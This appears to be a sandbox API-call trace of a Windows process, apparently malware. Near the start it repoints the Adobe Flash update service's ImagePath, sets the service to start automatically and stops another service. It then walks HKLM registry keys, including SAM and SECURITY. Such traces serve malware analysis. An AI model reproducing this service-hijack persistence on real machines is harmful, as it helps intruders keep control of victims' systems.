[0254.954] LocalFree (hMem=0x7f03d0) returned 0x0 [0254.955] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0254.955] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x8038a0 [0254.955] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0254.956] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.956] RegCloseKey (hKey=0x148) returned 0x0 [0254.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0254.957] RegCloseKey (hKey=0x150) returned 0x0 [0254.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0254.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0254.957] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0254.957] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0254.957] GetLastError () returned 0x20 [0254.957] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0254.958] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0254.958] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0254.958] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x803990 [0254.958] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0254.958] GetLastError () returned 0x425 [0254.958] CloseServiceHandle (hSCObject=0x803990) returned 1 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0254.959] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.959] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.959] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0254.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.960] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.961] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.961] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0254.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0254.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.963] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.963] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0254.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.963] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.963] RegCloseKey (hKey=0x148) returned 0x0 [0254.963] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.964] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0254.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 